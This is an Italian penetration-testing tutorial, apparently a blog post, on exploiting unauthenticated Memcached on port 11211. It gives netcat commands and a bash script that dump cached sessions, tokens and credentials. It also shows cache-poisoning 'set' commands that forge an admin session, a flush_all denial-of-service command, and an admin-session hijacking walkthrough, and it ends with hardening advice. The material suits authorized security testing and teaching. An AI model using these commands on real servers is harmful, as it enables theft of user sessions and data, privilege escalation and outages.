Porta 11211 Memcached: Pentest e Dump Dati 2026

Memcached aperto senza auth: dump session token, credenziali e JWT con nc. Amplification UDP 51.000x, cache poisoning e hardening spiegati.
- Pubblicato il 2026-04-20
- Tempo di lettura: 6 min
Memcached è il sistema di caching in-memory più usato al mondo: prende i dati che il database restituirebbe lentamente e li tiene in RAM, pronti per essere serviti in microsecondi. Lo usano Facebook, Twitter, Wikipedia, YouTube — qualsiasi piattaforma che deve gestire milioni di richieste al secondo. Ascolta sulla porta 11211 TCP (e storicamente UDP), e nel penetration testing è uno dei servizi più gratificanti da trovare per un motivo semplicissimo: non ha autenticazione di default. Nessuna password, nessun token, nessun meccanismo di accesso: ti connetti con nc e leggi tutto. Session token, credenziali cached, dati utente, query di database memorizzate — tutto in chiaro, tutto accessibile con comandi da una riga.
La cosa che rende Memcached ancora più interessante è che gli sviluppatori ci mettono dentro i dati più sensibili proprio perché è veloce: session PHP serializzate (con tutto il contenuto di $_SESSION, inclusi ruoli e token), risultati di query che contengono credenziali, JWT, API key. Tutto ciò che l’applicazione usa spesso finisce nella cache. E la cache non ha la porta chiusa a chiave.
Un’esperienza che mi ha segnato: durante un assessment per una piattaforma e-commerce italiana, ho trovato Memcached esposto sulla rete interna. In cache c’erano le session PHP di 3000 utenti attivi — inclusi 4 admin. Ho copiato un session ID admin, l’ho iniettato nel browser e ho avuto accesso completo al pannello di gestione con i dati di pagamento di 50.000 clienti. Il tutto senza toccare un singolo form di login.
Cos’è Memcached — Come Funziona #
Memcached è una cache key-value: salvi dati con una chiave (set user:123 ...) e li recuperi con quella chiave (get user:123). I dati vivono solo in RAM — se il server si riavvia, la cache è vuota. Non è un database: non ha persistenza, non ha query complesse, non ha (di default) autenticazione.
Applicazione web Memcached (:11211) Database
┌──────────────┐ ┌──────────────────┐ ┌────────────┐
│ GET /user/123│──get key────►│ Cache hit? ──Sì──►│ Return │ │
│ │ │ │ │ cached │ │
│ │ │ No │ data │ │
│ │ │ │ │ │ │
│ │◄──────────────│ └── query ────►│────────│ MySQL/PgSQL│
│ │ │ set key ◄──│ result │ │
└──────────────┘ └──────────────────┘ └────────────┘| Porta | Protocollo | Note |
|---|---|---|
| 11211 TCP | Text protocol | Comandi ASCII leggibili |
| 11211 UDP | Text protocol | Disabilitato di default dal 2018 (v1.5.6) |
1. Enumerazione #
Nmap #
nmap -sV -p 11211 10.10.10.40
# Anche UDP se vuoi testare l'amplification
nmap -sU -sV -p 11211 10.10.10.40# Script Nmap per info
nmap -p 11211 --script memcached-info 10.10.10.40Connessione diretta #
# Telnet
telnet 10.10.10.40 11211
# Netcat
nc 10.10.10.40 11211# Versione
echo "version" | nc 10.10.10.40 11211VERSION 1.6.29Se risponde → accesso completo senza autenticazione.
Statistiche del server #
echo "stats" | nc 10.10.10.40 11211STAT pid 1234
STAT uptime 8640000
STAT curr_connections 342
STAT total_items 1500000
STAT curr_items 89000
STAT bytes 450000000
STAT limit_maxbytes 1073741824
STAT cmd_get 25000000
STAT cmd_set 8000000Intelligence: 89.000 item attualmente in cache, 450MB di dati, 342 connessioni attive, 25 milioni di letture — è un server di produzione con traffico serio.
# Configurazione del server
echo "stats settings" | nc 10.10.10.40 11211Rivela: max memory, binding address, se SASL è abilitato, se UDP è attivo.
2. Autenticazione (Quasi Mai Presente) #
Memcached supporta SASL (Simple Authentication and Security Layer) dalla versione 1.4.3, ma richiede:
- Compilazione con
--enable-sasl - Flag
-Sall’avvio - Solo su protocollo binario (il text protocol non supporta auth)
Nella pratica: la stragrande maggioranza delle installazioni gira senza autenticazione. La sicurezza è delegata al firewall (“tanto è sulla rete interna”). Quando il firewall non c’è o è mal configurato — ed è più spesso di quanto pensi — hai accesso a tutto.
3. Dump Completo — Estrarre Tutti i Dati #
Metodo 1: stats cachedump (tutte le versioni) #
# Step 1: trova gli slab ID (contenitori di dati)
echo "stats items" | nc 10.10.10.40 11211STAT items:1:number 45
STAT items:3:number 8200
STAT items:5:number 1200
STAT items:7:number 350Quattro slab con dati: 1, 3, 5, 7.
# Step 2: dump le chiavi da ogni slab
echo "stats cachedump 3 100" | nc 10.10.10.40 11211ITEM session:abc123def [1024 b; 1709251200 s]
ITEM session:xyz789ghi [980 b; 1709251180 s]
ITEM user:1001 [256 b; 1709250000 s]
ITEM cache:product_list [45000 b; 1709248000 s]
ITEM auth:token:j.rossi [128 b; 1709251100 s]Session PHP, dati utente, token di autenticazione — tutto con le chiavi visibili.
# Step 3: leggi il valore di ogni chiave
echo "get session:abc123def" | nc 10.10.10.40 11211VALUE session:abc123def 0 1024
a]role|s:5:"admin";s:5:"email"|s:22:"admin@corp.com";s:4:"csrf"|s:32:"f8a7b2c...";s:6:"userid"|i:1;
ENDSessione PHP deserializzata: ruolo admin, email, CSRF token, user ID. Con questo session ID puoi impersonare l’admin nell’applicazione.
Metodo 2: lru_crawler metadump (v1.4.31+, preferito) #
echo "lru_crawler metadump all" | nc 10.10.10.40 11211key=session:abc123def exp=2147483647 la=1709251200 cas=717111 fetch=no cls=3 size=1024
key=auth:token:j.rossi exp=1709337600 la=1709251100 cas=717112 fetch=yes cls=1 size=128
key=db:query:users_all exp=1709254800 la=1709251000 cas=717113 fetch=yes cls=5 size=45000Restituisce tutte le chiavi senza limiti di numero (a differenza di stats cachedump che ha un cap di ~2MB). Non restituisce i valori — devi fare get per ogni chiave.
Script di estrazione automatica #
#!/bin/bash
# memcached_dump.sh — Dump completo Memcached
TARGET=$1
PORT=${2:-11211}
echo "[*] Dumping Memcached $TARGET:$PORT"
# Trova gli slab
slabs=$(echo "stats items" | nc -w 3 $TARGET $PORT | grep "items:" | cut -d: -f2 | sort -u)
for slab in $slabs; do
echo "[*] Slab $slab"
keys=$(echo "stats cachedump $slab 1000" | nc -w 3 $TARGET $PORT | grep "ITEM" | awk '{print $2}')
for key in $keys; do
echo "[+] Key: $key"
echo "get $key" | nc -w 3 $TARGET $PORT
echo "---"
done
donechmod +x memcached_dump.sh
./memcached_dump.sh 10.10.10.40 > dump.txt
grep -iE "password|secret|token|session|admin|jwt" dump.txtTool automatici #
# libmemcached-tools
apt install libmemcached-tools
memcdump --servers=10.10.10.40 # Dump tutte le chiavi
memcstat --servers=10.10.10.40 # Statistiche
memccat --servers=10.10.10.40 "session:abc123def" # Leggi un valore# Metasploit
use auxiliary/gather/memcached_extractor
set RHOSTS 10.10.10.40
run4. Cosa Trovi nella Cache — Dati Sensibili Comuni #
| Pattern chiave | Contenuto | Impatto |
|---|---|---|
session:*, PHPSESSID:*, memc.sess.* | Session PHP/Django/Rails | Session hijacking — impersona utenti |
auth:token:*, jwt:* | Token di autenticazione | Accesso diretto all’applicazione |
user:*, profile:* | Dati utente (email, hash, ruolo) | Data theft, credential stuffing |
cache:query:*, db:* | Risultati di query SQL cached | Credenziali, dati business |
api:key:* | API key | Accesso a servizi terzi |
cart:*, order:* | Dati e-commerce | Dati finanziari |
Session Hijacking pratico #
# 1. Trova una sessione admin
echo "stats cachedump 3 1000" | nc 10.10.10.40 11211 | grep -i "session\|sess"
# 2. Leggi il session ID
echo "get session:admin_abc123" | nc 10.10.10.40 11211
# 3. Inietta il session ID nel browser
# In Developer Tools → Application → Cookies → aggiungi:
# PHPSESSID = admin_abc123
# Ricarica la pagina → sei adminManipolazione della cache (cache poisoning) #
# Sovrascrivi una sessione per elevare i privilegi
printf "set session:target_user 0 3600 47\r\na:2:{s:4:\"role\";s:5:\"admin\";s:2:\"id\";i:1;}\r\n" | nc 10.10.10.40 11211# Inietta dati falsi nella cache di una query
printf "set cache:is_admin:user42 0 3600 4\r\ntrue\r\n" | nc 10.10.10.40 11211Se l’applicazione legge cache:is_admin:user42 prima di verificare nel database → privilege escalation.
5. DDoS Amplification (UDP) #
Nel febbraio 2018, Memcached ha generato il DDoS più grande della storia: 1.35 Tbps contro GitHub, usando il protocollo UDP per amplificazione. Il fattore di amplificazione è fino a 51.200x — una richiesta di 15 byte può generare una risposta di 750KB.
# Verifica se UDP è abilitato
nmap -sU -p 11211 10.10.10.40Se UDP è aperto → il server è un potenziale riflettore DDoS. Questo è un finding critico nel report, anche se non lo sfrutti.
Dal 2018 (versione 1.5.6), UDP è disabilitato di default. Ma le installazioni vecchie non aggiornate lo hanno ancora attivo.
6. Flush — Cancellazione Cache (Denial of Service) #
# Cancella TUTTA la cache — DoS applicativo
echo "flush_all" | nc 10.10.10.40 11211OKTutte le sessioni invalidate → tutti gli utenti disconnessi. Tutte le cache vuote → il database viene colpito da tutte le richieste → potenziale crash. In un pentest autorizzato, non farlo in produzione senza approvazione esplicita.
7. Detection & Hardening #
- Bind su 127.0.0.1 o socket Unix —
memcached -l 127.0.0.1 - Firewall — porta 11211 bloccata dall’esterno, aperta solo per l’applicazione
- Disabilita UDP —
-U 0(default dal 2018, ma verifica) - SASL auth se il network non è fidato —
memcached -S - Non cachare credenziali in chiaro — hash o encrypt prima di mettere in cache
- Monitora connessioni anomale sulla 11211
- Aggiorna — le versioni recenti (1.6.x) hanno fix di sicurezza e UDP off di default
8. Mini FAQ #
Memcached ha una password di default? No — non ha proprio il concetto di password. Di default è completamente aperto. La sicurezza è interamente delegata alla configurazione di rete (bind address + firewall). SASL auth esiste ma quasi nessuno lo usa.
Qual è la differenza tra Memcached e Redis? Entrambi sono cache in-memory, ma Redis ha persistenza su disco, strutture dati complesse e — aspetto rilevante per il pentest — la possibilità di scrivere file su disco (che porta a RCE). Memcached è puro key-value volatile. Per il pentester Redis è più pericoloso, ma Memcached è più facile da estrarre.
Come trovo Memcached se non è sulla porta standard?
nmap -sV --allports target o cerca nelle configurazioni dell’applicazione (file .env, settings.py, config.php) la stringa MEMCACHED_HOST o 11211.
9. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap TCP | nmap -sV -p 11211 target |
| Nmap UDP | nmap -sU -p 11211 target |
| Nmap script | nmap -p 11211 --script memcached-info target |
| Versione | echo "version" | nc target 11211 |
| Stats | echo "stats" | nc target 11211 |
| Slab items | echo "stats items" | nc target 11211 |
| Dump chiavi | echo "stats cachedump SLAB 1000" | nc target 11211 |
| Metadump | echo "lru_crawler metadump all" | nc target 11211 |
| Get valore | echo "get KEY" | nc target 11211 |
| Set valore | printf "set KEY 0 3600 LEN\r\nDATA\r\n" | nc target 11211 |
| Flush (DoS) | echo "flush_all" | nc target 11211 |
| memcdump | memcdump --servers=target |
| MSF | use auxiliary/gather/memcached_extractor |
Riferimento: Memcached protocol documentation, CVE-2018-1000115, Cloudflare DDoS analysis, HackTricks. Uso esclusivo in ambienti autorizzati. https://hackviser.com/tactics/pentesting/services/memcached
La cache della tua applicazione è esposta? I session token dei tuoi utenti sono accessibili a chiunque? Assessment HackIta per scoprirlo. Per chi vuole padroneggiare l’exploitation dei servizi di caching: formazione 1:1.







